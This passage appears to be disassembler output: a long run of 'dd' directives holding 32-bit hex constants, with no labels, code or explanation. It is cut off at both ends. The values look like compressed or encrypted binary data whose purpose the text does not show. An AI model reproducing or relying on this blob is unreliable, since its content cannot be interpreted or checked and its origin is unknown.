0B0C0B72Ah, 0E45A253h, 9D298836h, 5791B49h dd 0BF0F05DDh, 2526A8D8h, 0D0E9D319h, 2700B2D2h, 93AD6ED7h dd 2EBD897Eh, 70BF0AFDh, 81889E85h, 75BC0AEBh, 5AE318DEh dd 4DAFBAD6h, 435EC090h, 0D7287906h, 0BD25CCC0h, 0AF13650Ch dd 950E1735h, 373F8463h, 0A2D004BCh, 211AC517h, 2E2B6159h dd 1A29675h, 1A983500h, 9A5FECD0h, 4BB3DC00h, 0AFDDA808h dd 41C7BA24h, 0FD332B14h, 0A639E0BFh, 6096134Dh, 9C70850h dd 0E9A2180h, 133F1697h, 0A1748110h, 807D6CE6h, 0F2D6DA28h dd 0F8EAA30Bh, 24506158h, 26EB5653h, 9B961685h, 10E581DBh dd 108555F7h, 6197C623h, 6B890FB3h, 7B1A931h, 0A929752Fh dd 2FFB861h, 90B5A850h, 1E60E8D6h, 74820509h, 54004E61h dd 0E112D6BAh, 104C8348h, 5F2B1359h, 0DE6F26CEh, 3153DD05h dd 0DA1CC856h, 4F480E50h, 4B190510h, 18898A8Dh, 6D7B29DDh dd 0C7ADEDAFh, 0BA9DD098h, 0FD0B9CE5h, 660AD0E8h, 98719852h dd 0EF8296F1h, 0F55AA55Dh, 0F850297h, 0C91B8E8Fh, 89B5518Dh dd 6C784E48h, 0C2AECD9Dh, 515E0959h, 0D4D5FCE9h, 7F013F00h dd 110D128Ah, 0B7542C7Bh, 7C5E0910h, 53974C78h, 9997D88Fh dd 25B1E0A1h, 493B2EE6h, 77001C23h, 0A72ACF48h, 763F3A0Ch dd 0E1E2DBh, 37B57944h, 0ADCEAAh, 7592CD73h, 3630529h dd 0DD8A9C09h, 5A9A735Bh, 0C86BB938h, 0D94B72B8h, 0DA3B58DDh dd 4A6E87B9h, 1CBC7E0h, 33552C8Dh, 6FADA66Eh, 0D1D29CE7h dd 30A68EBDh, 0AA0BF0E4h, 0A9EED8B1h, 0C0D14DDBh, 0F8D28C1Ah dd 8B7888ACh, 0E6E5DADEh, 81660463h, 0BC9FBDDBh, 0D551A268h dd 0FA821B3Dh, 0DCD098DBh, 132910A8h, 981D5096h, 0E19B72Dh dd 6206EC6h, 0D3676FBEh, 3384905Ah, 19884CDBh, 0BCF87AC0h dd 109B259Ah, 0E4B552E6h, 71A0267h, 1CF19FFAh, 1259CE5Fh dd 0B1018509h, 2F435D3Fh, 20E24452h, 0E0F5B64Fh, 90AEC8Dh dd 46141552h, 86461B79h, 0ADB7972Fh, 4FCDDE00h, 1C95E9ABh dd 6F60A4AAh, 0A62FC464h, 0A765CB9h, 398E2905h, 109D61C0h dd 6D4D2Ch, 0E4EA94D7h, 0BFCFE7Ch, 6143BA12h, 8F215EF6h dd 27A62C2Ch, 9EA7C697h, 111266A0h, 0DC91920Bh, 1D6402F9h dd 7A805E15h, 0E9D9C800h, 4FBFF249h, 8B2141F5h, 0B8072DC1h dd 0E18C2EDFh, 4B0B9079h, 9102938Dh, 0B6E2A03h, 2A4050F9h dd 6A953E82h, 0DCF0D6CAh, 76F4EE4Fh, 7E92BDE1h, 21479FEh dd 51160F45h, 9F74D80Fh, 2C8A97DBh, 11E6DE2Ch, 0DD1DD007h dd 60E35172h, 0D0F84489h, 0A3F35C8Ah, 0BA34BF03h, 0DF2F5265h dd 3108D901h, 88B0F78h, 38C33D80h, 16D6FCAh, 0DABE4B49h dd 302B400Ch, 0E5B501FAh, 93A72EF7h, 82FE9B5Bh, 4177D7F6h dd 5EFAE546h, 9078E91Dh, 0FF209C0Bh, 6C71D1h, 44EAF4BAh dd 9697267Eh, 404D4500h, 3496BACFh, 0FC13EE05h, 57C22B61h dd 6AE50E0Fh, 29B40E02h, 8B6391F3h, 8DAF48D8h, 941BD169h dd 0CFB5B772h, 1FA151Eh, 72FDAE0Eh, 382F41E9h, 2B902021h dd 80FDB79Dh, 0F917FEB9h, 4325F847h, 8CC10B8h, 0CF560A5Eh dd 60A5A368h, 36A995CEh, 0A83A443Eh, 1895805Fh, 0B35F14Fh dd 0E1E08F6Dh, 7FD98001h, 80A86812h, 0C8F6CFC4h, 1B4906D7h dd 0F82861CBh, 184E9C00h, 0D87E9E9Bh, 0B600935h, 9175959Dh dd 6111A9B5h, 61302F5Bh, 0A4DD9531h, 0E7BB4CC8h, 0CA532915h dd 0FFD5BF02h, 94550D3Fh, 0AAED97D0h, 98AAD140h, 97302A9h dd 442952F6h, 0C4CE645Eh, 0B2A1C595h, 0D1C69A2Ah, 0A97EC0CFh dd 147BC129h, 0B4AE54A4h, 8D6003CFh, 0C20AFC6Fh, 210B03B8h dd 0D3FF6A35h, 8ECB70D5h, 0EF90E403h, 0D4CF4716h, 0DCBB8EC0h dd 2CBCB27Ah, 0F6B319C9h, 7B2BAF00h, 0D7CB71D6h, 97431DBBh dd 70ECE55Fh, 9D211245h, 0B0FFD36Ah, 519D0980h, 0E62C1C9Ah dd 1904670h, 0F471E412h, 75CBF246h, 691DF6F5h, 0D1B44770h dd 5D3C0A41h, 0DBB9CCh, 0E010CD1h, 392F7F4Ch, 288F250Eh dd 5E9E408h, 208B0340h, 5B2DBBD3h, 7E1DE6BAh, 81558229h dd 18A98D14h, 39BD118Dh, 6A162EA1h, 6AE25752h, 8E025D10h dd 8EBC43BBh, 4AAED2Fh, 1220855Fh, 0F47D71B2h, 0E217D775h dd 146D00FBh, 0C215D8DEh, 3132011Ah, 0F2A4C987h, 6B032F5Fh dd 0ECD5BD09h, 5004AF34h, 68BDA203h, 66BD1222h, 4CE9250Ah dd 1201BD91h, 0AF6655F9h, 0FC409DB4h, 0F507FBh, 0D521495Dh dd 0D88ACDDBh, 0D17916ECh, 32374D12h, 1E2235F2h, 27A1A5F2h dd 0D04E7CFEh, 30784183h, 2257555Bh, 0B58D0389h, 0DC0ED704h dd 7396EEFh, 0D9FEA303h, 50B6A7E2h, 911A13D8h, 0C07E9B6Ah dd 0EE111661h, 219D0275h, 0F95670E1h, 8C2047Dh, 0AA0398BFh dd 3EA3C300h, 3B29F313h, 47BD0264h, 1772737Ch, 0BB60355Eh dd 0B3820B6h, 0A48B974h, 927C97Ah, 0C0157402h, 1E7039F0h dd 68191700h, 54889E5Dh, 0C0974BE2h, 0F337BF27h, 4F3D0A3Bh dd 49E05CF6h, 0ED094079h, 5CFC699Dh, 5D246F39h, 4EDDB903h dd 3200D96Eh, 215EADFBh, 0CC1CA0DCh, 5967561Bh, 53FC25DBh dd 15D5250h, 0F9A7DDB0h, 7CDF3E37h, 178F4B9Eh, 401DD350h dd 0BD4E312Bh, 545797D2h, 0EDE9409Ah, 0A41283ACh, 0D4BC15DCh dd 2B0173C0h, 466917C5h, 0F35968h, 2D58E8BBh, 0B6246003h dd 0D51194EBh, 74986127h, 6E952EB3h, 0D4EDBCFEh, 0C1E3DE80h dd 9D80D8B1h, 47D5A5E5h, 10F5B484h, 0E55B2527h, 50096906h dd 8EB1B77Dh, 1228E9DFh, 14DEB880h, 0F40EBF1h, 20AA096Fh dd 0C0222B47h, 3836B51Eh, 16CAF94Bh, 535E6A22h, 0DCF995C4h dd 0E74AB838h, 0BF02B441h, 5E0EB59Dh, 1AFCE634h, 0FF873962h dd 73B5F3E1h, 0FDCC82D0h, 65505862h, 44F8F61Ah, 3238AE20h dd 0E7045BA9h, 0CD0A74Fh, 25985D6Ah, 5CE5E5B2h, 5CE79517h dd 9934FEB7h, 53E72125h, 5C04300Bh, 6001F46Bh, 4A72CCE9h dd 0C8206210h, 2A1841F5h dd 0BCD956B0h, 7B00DCF6h, 8680BB3Eh, 292639Eh, 6824CB81h dd 20E0640Ah, 5C822B39h, 0D18D2150h, 0CD68191Ch, 0F0C7F307h dd 0BD27848Eh, 1531245h, 2187AFEh, 897C0528h, 698156BBh dd 2D80D137h, 0B67F1D2Ah, 0B3600011h, 0A5EE811Ah, 362C1205h dd 8901D61h, 6C6E8D4Bh, 0F90D6915h, 0BE7B80F6h, 0A403EB8Ah dd 36B5C25h, 5A5F52ACh, 245E0A0h, 13676880h, 30ADDFC7h dd 0E23BFF4Bh, 5A498415h, 0F9D4032Ah, 0EBAE97D6h, 565BAA15h dd 3C980263h, 0B7FD523Fh, 0FCA900FBh, 9F7ECF3Ch, 2D5E6C4h dd 140128ABh, 16E688h, 0F1DE1F38h, 4119EE0Dh, 9F31BA03h dd 0E0013CAEh, 97546BA3h, 1A915FB5h, 0BA2A7880h, 0D32E4B4Ch dd 90B6D34h, 184D10Dh, 0DAE951F6h, 0F8DE7F01h, 0D0266480h dd 7A027D18h, 60059A6Eh, 10A2E101h, 0E555C606h, 4A1D3C88h dd 1FBD2DC5h, 9C0286BCh, 6D8D01D4h, 0A63A5713h, 75000DE4h dd 7A31ADDh, 0A90AEDh, 0D4D153FDh, 58598C97h, 814BD773h dd 0DD0550CDh, 4AB759E4h, 4FC2E7ACh, 73A0F6F6h, 0DCFCA85Ch dd 0BB118001h, 7C3CCB89h, 0DE36DED2h, 82E7883Ah, 1A3B97D9h dd 7A9E4211h, 0E2F9498Eh, 0E3F86096h, 2100366Ch, 0BFE5AF44h dd 12C70BA7h, 8180EA18h, 2FF22C3Fh, 50966B04h, 0FBD404EBh dd 4AD4F36Ah, 966177C0h, 0BD291560h, 205F8EC1h, 3C862BAh dd 4E99F300h, 81B14F33h, 199D02D8h, 615A533Ah, 68602D5Eh dd 490F6EDFh, 201DC292h, 9BDEFC95h, 88D380DEh, 9B2BE73h dd 0C8209A1Bh, 2D820455h, 6E2DE552h, 0D000F47Ah, 36B86509h dd 9C4A4245h, 4E8A84F0h, 0B06EE0F8h, 0BE66DE04h, 0D6BFF29Dh dd 0C39CD839h, 276B01DCh, 14BB2276h, 5F25369Ch, 421F282h dd 0B839BD61h, 0C5449DB1h, 97281697h, 0BA01A6B7h, 0FE8A66B6h dd 525F282Eh, 7CE62BD7h, 60F531E2h, 0E80997D0h, 0D3194DDh dd 262742E9h, 6193F090h, 0E18350E0h, 0A7BB0494h, 0BC3F6B4Bh dd 8180EB56h, 8E2ADF7h, 15235F4Bh, 0E1D8AB70h, 67791CCDh dd 0C92565B8h, 1153E56Ah, 0CDEE4208h, 0AA6063FBh, 0DB054B71h dd 0C017C82Ch, 4B62A959h, 251EC6B5h, 5A5145B3h, 0F765DE07h dd 41A50970h, 668C000Eh, 883F3E97h, 0EE9520BFh, 27359D4Ch dd 0CAC4FC02h, 3D63C040h, 61BA9710h, 85E23056h, 0E9535E1Ah dd 6E800037h, 0E7C2303Eh, 65314CFDh, 5056925Bh, 0F8E83177h dd 0FC2C0A2Bh, 1D46DCBAh, 9C759700h, 0B17EA9ADh, 0FE3F4416h dd 3DEB1102h, 6B515EE1h, 48404356h, 0B5CB7Fh, 0D7E21451h dd 5F4F2183h, 5980C6B1h, 0B616AC8Ah, 40EF006Ah, 0A1BE8043h dd 0CB022C0Eh, 29F951C0h, 0BBADB05Bh, 0C8E31219h, 919F32Ch dd 7A8DEB80h, 0ABCFB716h, 3106047h, 0A816318Dh, 0B761F1EAh dd 35F58D3Ah, 15518450h, 4E24BC91h, 3A00466Eh, 0F2C55C7Eh dd 0B8702F18h, 6ECA1095h, 0AD9B001Dh, 29BBED7Eh, 0DC2512D3h dd 7E49E2CBh, 0ED00DC72h, 4556E474h, 98EB7A2h, 0DC8AA5D8h dd 35A5537Bh, 0A1920009h, 1CC58E9Ah, 105C5058h, 5F250BADh dd 63B053E6h, 6AC5A554h, 0E076CDB7h, 9EB0854h, 0A9E7FE01h dd 2B799531h, 88934632h, 7F002618h, 81B48019h, 3E02F30h dd 746B8341h, 0C7C1EDAAh, 0D6A77D4Ch, 0D6A81EADh, 0BE0115F0h dd 50234BFCh, 49CEF80Ch, 318F5D9h, 0F2BCBD4Ah, 40599676h dd 0C7096247h, 8029B612h, 89258BDh, 0FEA50C3Fh, 0D09E20Ch dd 696A9C57h, 0A7732727h, 9D6B4970h, 0C6258BF2h, 696E7961h dd 5BE9095Ch, 0A0855001h, 0FCAE5F12h, 0BF80F9BDh, 0F0D552Bh dd 56C01A97h, 3A74519Eh, 513807Bh, 2276E86Fh, 7892952Eh dd 0C0EB6D57h, 2F3CDCFDh, 0FC1B7C02h, 5EC6B136h, 0BD13F4C4h dd 1DEA6E14h, 0B68FC984h, 0DB698C71h, 0CBF07022h, 0DE3FE400h dd 0F381E611h, 0D8A50485h, 988E0F21h, 3140C931h, 84FD4BE9h dd 0C19A9BBDh, 0FC4DFF8h, 5FF6202Ah, 0D5072720h, 8B406FC1h dd 95CCF849h, 168AABB0h, 4090F48Ah, 0C3C94CA0h, 79008872h dd 82AD57EAh, 127F40DBh, 0AFEEFCB3h, 0CD125817h, 0BCD8C2F8h dd 0A427BF66h, 40786FD2h, 0DFAAFE82h, 51038606h, 0F4B4F33Ah dd 0AF789560h, 0C2FCD925h, 0BBED5DBFh, 9A155C9h, 3F9D0BFCh dd 3050C193h, 0F045202h, 58685A31h, 4538D908h, 36C814A5h dd 51279529h, 0E4EE6705h, 71F601Bh, 50F006A9h, 467B2933h dd 12BCFC4Ch, 0BBE70E85h, 2561BF02h, 9C5C110Ch, 0ECD681CFh dd 6E6AD1FFh, 0B09713Fh, 0DE485C93h, 0A595961Fh, 0B8282B6Eh dd 0F670967Dh, 0C79E8200h, 70AC8EBBh, 26A275Bh, 37602456h dd 7F3ED7h, 69FEB321h, 0C25789B0h, 0E08B5425h, 25BB668Ch dd 7E76396Fh, 0C45B01F6h, 1CED597Bh, 0FE992B3Ah, 33001563h dd 6DBFEBA6h, 8D1E8641h, 808499EEh, 0E8B831E9h, 216108E1h dd 0B8516953h, 299FC2Fh, 0F43D9DD9h, 0CDDE8D47h, 0B6996625h dd 1F5108B1h, 702288A2h, 56099518h, 8BE2E356h, 0FD8A2202h dd 9F2D7B5Ch, 871591CDh, 0F7D12A6Fh, 0CCC7DB5Eh, 0E94B98B9h dd 0EE3E88Ch, 8A851FC5h, 6AC4AC01h, 0B87539FFh, 421A0B72h dd 29D9BBEBh, 0C1184401h, 45D407D4h, 23F0078h, 253057F7h dd 264BD940h, 54FA9585h, 7112820Dh, 0A2E4B802h, 48BF202Eh dd 9275526h, 0D8ED84B0h, 0FE2D70B8h, 0D7251664h, 9DCE7403h dd 999D89FDh, 0E49AA2DDh, 35E78271h, 60BF001Ah, 2F4BF8A8h dd 0A4688A97h, 297109B3h, 4449D05Ch, 0A07F011Eh, 3B040E49h dd 0CD23F871h, 88D44234h, 9016BB3h, 856B32A4h, 68F63B4Eh dd 7758EF0Bh, 952120Eh, 0B0FF2A3Eh, 0F71EDBA1h, 0CBC05213h dd 0BF0BE73Ah, 582B5F12h, 9FCA9D54h, 0A4227760h, 2765E23Eh dd 133141D1h, 0AA099C6Bh, 0B0445400h, 3DAE4EDAh, 65454C87h dd 0C2A8FC16h, 140C151Bh, 86074B5Fh, 7D206A89h, 0C4574E08h dd 5BA74D25h, 61836B22h, 2E3D6971h, 6AA5857Eh, 89450298h dd 282BFABDh, 100B44E9h, 1304119Dh, 34AEA6B3h, 0AAD8FEDEh dd 0DCBC25BFh, 9A5F8BC2h, 57E67D73h, 1FA1A5FEh, 7BA33BFEh dd 71142F51h, 0BC12C11Eh, 701090E6h, 870F16E3h, 29600FD1h dd 86455F9h, 0E5EB4F8h, 6CF5820Fh, 0BB0E3513h, 94826828h dd 0A490AD10h, 830E7D63h, 481247h, 0B0D9C2FAh, 1E230019h dd 0F141BEA0h, 0B925328Eh, 0F8A7066Ch, 9EFC71F4h, 700BDC07h dd 0F163CE48h, 0BA8D16A2h, 0B33B1F29h, 0D2B14E52h, 3BC0862Ch dd 0C41C5753h, 5AF4EA00h, 706786CBh, 0B5D239BCh, 0EFE79402h dd 547CC02Bh, 0CCB604DCh, 90DF8B51h, 0BA9F0F7Fh, 8D25DEA6h dd 0C96C7315h, 98704653h, 24059E07h, 9D773D14h, 5FD21AD3h dd 375E6E42h, 65D40F40h, 47BF0045h, 0C7B193EEh, 2F4874AEh dd 2E151019h, 1B8BCD4Ah, 4D0DC29Eh, 195860CBh, 14BBB71Ah dd 0F635B5E1h, 9FA296D5h, 0F053F17Bh, 4A8BFF7Ah, 0F499E2FAh dd 0C8A322F6h, 0B7A20A7h, 6CD49428h, 8DE312FEh, 918983E2h dd 6862996Fh, 0EAE6C39Bh, 9D3F401Ch, 5F9BA8D5h, 0D36DE1B8h dd 0EE00B7ECh, 8842B903h, 160ABBC8h, 0AD716E20h, 0AC34D5E5h dd 870E2F0Ah, 17FC9590h, 0D79C3700h, 3D91358Dh, 4811D40h dd 0FF854174h, 2EDD8AE1h, 8989AA28h, 89282EF9h, 0DC608996h dd 6BC00281h, 0BD315A51h, 620795D9h, 637C3961h, 1A7D6725h dd 0B75F463Dh, 603389A6h, 0E381EB37h, 52586EA8h, 434B33Bh dd 0B89B501h, 309DB112h, 568ADD3Eh, 0A57D2474h, 1245368h dd 5BF4D7B4h, 0C7FA20D0h dd 0C500E8B8h, 374CC6F6h, 5F472BBBh, 7CACE50Ah, 40E8C882h dd 0B7BD14FAh, 1B5F7307h, 0A7907FB1h, 5E0FCEDCh, 2B8EA10Ah dd 66904A31h, 31D4CE25h, 0E2294E9Dh, 7A854179h, 8A6A2A2Dh dd 0C0195884h, 682DBFABh, 59480311h, 50A136ECh, 0F2F7F3D0h dd 0F98B1737h, 0E3D4124Eh, 0C4B357FFh, 41EEA330h, 416F4902h dd 0F6CBB1EBh, 5465827Fh, 94C626h, 80E0E82Dh, 65829F75h dd 9EA36300h, 41309F6h, 0FF5B09AEh, 57738B35h, 0D0005D20h dd 905D7291h, 25F0BBCEh, 4DC641D2h, 220D909Fh, 0F1F3005Bh dd 283F1E08h, 92097C58h, 54023DE9h, 5209F427h, 412C1D19h dd 692DF53h, 1824E1D9h, 78007D41h, 80AB6807h, 259B2216h dd 10C67958h, 0FA54E0A2h, 5FDFBF60h, 0DD084A09h, 0A8A469F7h dd 724D09EAh, 2A8E1161h, 0A26FCB25h, 0B4800E4h, 55A4DAE6h dd 9F89E41Fh, 68E1606Dh, 752FF010h, 0A0F4E6D8h, 98506430h dd 2306444Bh, 0B599D13h, 0FCB98AA4h, 0C8EC9F5Ah, 29999D10h dd 19C26125h, 6A6DF741h, 0DF0166E2h, 0F96C5CEh, 394EEF8Ch dd 95604F2Ch, 40DD938Fh, 0BA66F78Bh, 96F69DBFh, 0ACB79Fh dd 83BF21D3h, 0A4B6609h, 826A368Dh, 310005FFh, 911A1185h dd 5A6EADAh, 0A2506CC6h, 2960048h, 6D482528h, 30D691E4h dd 0C18A60D0h, 2B5A539Fh, 78BB01D7h, 22547AD6h, 4CF151DAh dd 0C33EBBDCh, 7E6ECFFBh, 49ED7403h, 82BC6991h, 2A7E25CAh dd 72B25B17h, 0C808EB00h, 0BEF60D09h, 0AB7C5F00h, 88E40604h dd 809E9160h, 44FD2015h, 0AE058FFBh, 8DB6536Ch, 7CB5D216h dd 80BBDF3Eh, 0B3751DB8h, 0E4119041h, 0FE9851B9h, 48E22Ah dd 27BAA708h, 0BF880F6Fh, 98EC091h, 104603Dh, 142EF5BDh dd 1A85133Fh, 0CD48B8A7h, 1417D38h, 2EDEBFCAh, 9369753Dh dd 6CE271A8h, 6A5F3C0Ah, 2025BECEh, 0F59D29EDh, 0C5C79519h dd 9F755027h, 278C1D3h, 5349009Fh, 0F98A45FDh, 6FBD4CE9h dd 20960FBh, 8702F5D1h, 250D7ECDh, 0A6C8591Bh, 0B9BB0240h dd 8A5C5BA7h, 5002C975h, 0B7020915h, 50635C5Ah, 46940471h dd 0E71E00F4h, 4286EC89h, 0DB29801Fh, 3F62F30Ch, 0CABD7504h dd 0BDEAFF07h, 6E81E614h, 2D2E2E8Dh, 0A83929A8h, 0A64A2820h dd 0B72325E9h, 0B5978ECEh, 2F023D22h, 5ED28734h, 5E1D3A57h dd 9B00D4E0h, 742E94FBh, 2D6855AFh, 4C01D229h, 0E2B9B501h dd 0ED5AAC5Ch, 142041FAh, 0ED206B23h, 1F0FE25Ch, 0ADF7Eh dd 0C0FCADC1h, 5300A458h, 283C87EEh, 95618501h, 43B0C852h dd 4CCC965Ch, 0B631715Dh, 61C8AA6Bh, 13C10896h, 54B1B061h dd 72458A4Ch, 91E31252h, 8AA35F42h, 75231E00h, 0ABC025B0h dd 0D2F49873h, 0B5312D09h, 5B6EA405h, 0D88C5B9h, 0EB013380h dd 1DBCE930h, 4005EF95h, 8060E27Fh, 5F5684DFh, 3015E2D4h dd 509D5CAEh, 0FBB725F4h, 25B0CEC6h, 58BB0544h, 19258393h dd 6F57D6CAh, 0BBE7440Fh, 6F1C084h, 0C8789A6Bh, 0F0F1C119h dd 10FBD408h, 9CB813Bh, 705AD1E0h, 0F98B25DAh, 5735A7C2h dd 12FDC294h, 0F4B90DE7h, 0CFFBB892h, 135DA529h, 0A12374AFh dd 0B778AD3Ah, 5A9B00C2h, 52662108h, 943B7916h, 11C45FE9h dd 58AC120Bh, 0C4E8E180h, 7100B8B6h, 8AD1B115h, 5FF936D4h dd 92D3450h, 8BD5F8F8h, 0D01B1807h, 112B878h, 0CD9B637h dd 7153AB89h, 8490457Dh, 0C557BDEFh, 17EB96FBh, 0C08DBD21h dd 0F34A67F0h, 0D26D02B6h, 0CE12C53Ch, 0A30235D7h, 5CA78F8Bh dd 0AE829B24h, 0FABFF6D0h, 0FD72576h, 0D4A1A7C6h, 5CF6B05h dd 0BB012A22h, 6725276Fh, 0B7C85150h, 17F89768h, 60243409h dd 0C6000757h, 45AA9AEh, 0D4FA5D57h, 4D98BF16h, 0E55909F7h dd 0BB902BCh, 8AEB140Ah, 0A4723264h, 5B8669B5h, 0ADB4752Eh dd 4C11A88Ah, 0C50B59A2h, 0E8C15F45h, 809E3912h, 15707605h dd 0EA2412AAh, 85A81F54h, 0F8FBC6AFh, 17CD121Bh, 60A094B8h dd 0A9B59D31h, 0D0D5E2D2h, 0E7614A0Bh, 0A6A4E9Fh, 0EEE4012Fh dd 46973E00h, 5E94AB6Ch, 0A47C070Ah, 50932BC7h, 5D78039Fh dd 0A8E32E2Ch, 5F9DC927h, 2D1B282Fh, 0D1305D8Ah, 164B49BDh dd 96004DCh, 1C14BA66h, 0D99F08EEh, 0E05A2D6Dh, 0F719D11h dd 0B83BB9A5h, 0E07002Eh, 0B4B7E8BAh, 8C4E0F3Eh, 0FE0920F3h dd 0CC70B9E9h, 25D24195h, 0A5A4FBB1h, 0FF171431h, 7081A3DBh dd 2FFE8B26h, 7700F9F3h, 0FA0E471Fh, 1A975FC0h, 10DC84D8h dd 0C5437340h, 0DC00C7BFh, 5999A46Eh, 13E58CA3h, 448F4CBEh dd 0EA5B5F84h, 352DA8Ch, 0F0D6A89Bh, 0FCB87BE7h, 6BE3B21Fh dd 0E18153C1h, 6ADAA53Ah, 0E28F5FDBh, 0D4361777h, 29DC0422h dd 0F94BED15h, 697BE62Fh, 97FC9844h, 0B35E00AFh, 931E142Dh dd 667732E1h, 7DC56902h, 58EE7F05h, 218848BEh, 4BED0625h dd 331477CBh, 5E5DDCCBh, 7CBB6033h, 0F1A7FEAh, 0C0026090h dd 7534BF67h, 602F97F2h, 0E1E8A6D3h, 1770D09Fh, 5CA06A98h dd 2FC52994h, 610EFFC6h, 8B84C180h, 78F4D36Ah, 8D00EFEDh dd 718F643Dh, 303F69BBh, 814E4CCCh, 0F0299DBh, 0B3606191h dd 0CAD7603Ah, 971279A1h, 0DC0589Ah, 38FC0163h, 0B312EEB5h dd 0A9A1589Bh, 0C0DBAA0h, 0F84F5582h, 49F2744Bh, 68F5BD07h dd 27CE42Dh, 250ED851h, 0B7C17FDEh, 83282F5Bh, 0F72EE184h dd 5C7CA22Ah, 26AE248h, 1FDB7DDh, 20899326h, 198F6B50h dd 0EB554451h, 2576EEBh, 205A4312h, 0B320D888h, 970286Ah dd 98E98C30h, 480B1C57h, 0B65BBC92h, 4CCEF03Fh, 92F32680h dd 904D27C9h, 0D7ED82E0h, 0E3BED214h, 38EC4FA7h, 65BB50C0h dd 4A978DA7h, 0DC3074B9h, 6177630Ah, 0AD098D1Ch, 9BC6782Dh dd 18145155h, 0DAB29786h, 362B75Ch, 0B869D5BDh, 1FB66E6Ah dd 0FBEDBEF0h, 10B6362Dh, 0AF02F27h, 50E4DAA6h, 0CF90895h dd 536E5F1Ch, 7C2A410Bh, 8709F462h, 7BF95DACh, 5C0511AFh dd 0B0D780AFh, 54B357h, 81AD442Fh, 9ACCF1EFh, 0BDC44B4Bh dd 0B93D4980h, 897013E6h, 7CB6E9B5h, 6202EB00h, 71E42859h dd 0ACA497FCh, 0BD3343D2h, 4036FCF5h, 7B0E452Dh, 583E287Ch dd 205AF4FAh, 6132EA69h, 6A28511Dh, 0F797E825h, 97B37AE2h dd 58418CA7h, 81D1003Bh, 3DF91CD3h, 0CCE94F78h, 80AA7104h dd 42D8FC0h, 0F622BB80h, 0B93A4A0Fh, 85205B19h, 7AB0301Ch dd 0C79F1696h, 282E5AFCh, 253B165Eh, 437BE62Fh, 5C11119h dd 65C4F25h, 7E2DCDE0h, 9FCA1F6Dh, 0AE131681h, 2D5ACE36h dd 49540CA1h, 742C8462h, 9BEB4325h, 0A5FAF5DBh, 0FFE1B82h dd 2FB82A5Ch, 42961F8h, 5DD2606Ah, 0D042587h, 0EFACF9DAh dd 0C08486BDh, 7760EFEDh, 0A8B3Dh, 0A0866A07h, 1E986956h dd 6F0B8F1Eh, 8012F0BDh, 82F355E3h, 24813A5Fh, 2710B009h dd 765B909h, 16394348h, 0FC5B80A4h, 80007D6Eh, 0ACA70A2Bh dd 4197267Dh, 0FC021729h, 42C7A380h, 0C01F2B0Fh, 4B8E95BBh dd 37D2E96Bh, 49BD81EDh, 205BCA41h, 0BF97DE63h, 8066A15Ah dd 85C9B6A7h, 5C092534h, 0DC095F50h, 9501417Bh, 0D4E3429h dd 88F7884Fh, 789B02B0h, 0F304057Fh, 71DF95BEh, 5FD706C0h dd 34504F2Ch, 4B64F86Bh, 0B301318Dh, 8B6B1FD5h, 0BB66C1B0h dd 4BA511CFh, 4811F665h, 0D14B2861h, 6F77C2B8h, 587C605Ah dd 9109E620h, 71FCE8C8h, 816080CDh, 0F85264DFh, 954E33EEh dd 0B8805DD5h, 0E29D89E1h, 57C79524h, 29053A11h, 6212C585h dd 42020113h, 0D083F304h dd 7D00B03Dh, 49C5BD02h, 3C932F39h, 0B3C4890Fh, 4512DE5Bh dd 0CF8DCCB2h, 1DD1026Dh, 2D606AC9h, 5837B840h, 9B12BC0Eh dd 4CBA341h, 28D98D31h, 0B192B7B8h, 97A828B1h, 0A00430AFh dd 0E4E6C4A2h, 40D9B209h, 9D5B878Dh, 5F25102Eh, 183CAC8h dd 4160EFB5h, 2B8B6717h, 64B64374h, 0AE0214A0h, 0C8DC4904h dd 0BB81D84Dh, 9C7F2E61h, 9D2A0398h, 0E690B1F1h, 731EB925h dd 0DC4DA525h, 6834E2C0h, 29CE01EEh, 7B9010C8h, 2A236E50h dd 0CA7E80ACh, 473B0E42h, 0F467851Ah, 785F5021h, 5B4AC179h dd 8C4C18A8h, 0D32E0DC3h, 0FD641C7h, 2FB52031h, 3C8968F1h dd 3DFC04BFh, 1FF39054h, 0F5952904h, 27291405h, 497E569Dh dd 0DCAF7Ch, 2F5DEBCCh, 29EC5AF7h, 0B86C2E54h, 5BDB97h dd 1BB639CEh, 0B571C75Eh, 0A40268EAh, 8BBC9B94h, 0D30055FAh dd 43836F5Bh, 9D119197h, 0C3DD7FF5h, 254C95ECh, 0C546212Ch dd 8B17605Eh, 80DCB2A1h, 30609FC8h, 0DC8313D5h, 0E29C29BDh dd 0EDDDC601h, 0F2560B58h, 0CA504080h, 0BF097184h, 0A14E3001h dd 189E96Dh, 3DFB7A3Bh, 0E62AA526h, 0D6BB3C29h, 0F15DD192h dd 0E08E271Eh, 98975975h, 0C2F02EB4h, 31F908D1h, 0F444CA25h dd 4102F4B0h, 545263DEh, 6A605E8Ch, 3381081Eh, 0D3A4891Eh dd 0DE1EC6C8h, 6FFA46D2h, 203802ECh, 5F500806h, 0D4002A66h dd 0F7A88248h, 901894DDh, 8FB80B7Ah, 8E62614Ch, 1B026155h dd 9516A3BBh, 0D337B902h, 0FE80B29Bh, 0D0BEA18Eh, 4085802Fh dd 9743B18Bh, 999FEF14h, 86575064h, 0FA3D129h, 295CC3EBh dd 571B3193h, 9DF4405Fh, 87BC3161h, 61AEDA92h, 7ADF8B1Eh dd 209508D8h, 903A1771h, 0FD1DF9BFh, 0FCB501Ah, 622AFE87h dd 615C2D89h, 70FADBE9h, 0B1905DE2h, 276EB114h, 199D16BEh dd 80B3FF52h, 0A042E6D6h, 4DC514Dh, 26B1F030h, 0CD3981DBh dd 0B2BF0001h, 3A4B2542h, 371C8D65h, 0FEF95A38h, 0A80521BCh dd 0E9CBDD2Ch, 9531D6B4h, 13256DF1h, 98E2A070h, 27F51271h dd 0AE5EE310h, 2BBD0249h, 167564F3h, 7B3169BDh, 9BE40086h dd 1876FDCAh, 0E54E1273h, 8CA2E2E8h, 528A57ACh, 9DCBF2F9h dd 208D8A98h, 0A39A7F82h, 4FB7E9F0h, 3DC6620Ah, 0F96A605Ch dd 0F7DECF02h, 2407412Bh, 23D4DC2Ah, 0FA959D4Eh, 3325B4F8h dd 6DA728C5h, 64734050h, 2B58CB75h, 52B12F62h, 5FB3FC83h dd 0EE8FD402h, 0F4F70222h, 0ABCE78CDh, 0B7283E7Dh, 515DE5E1h dd 995B2B83h, 0B181871h, 0F7CC3C09h, 5D961F1h, 2E98B701h dd 9BAA2534h, 2AB280D5h, 55B7E72Ch, 0DE2BBABDh, 9093C0B3h dd 13BAB064h, 0F8A58E3Ah, 8D8909EFh, 55638979h, 0DF9CAB94h dd 0A44012D4h, 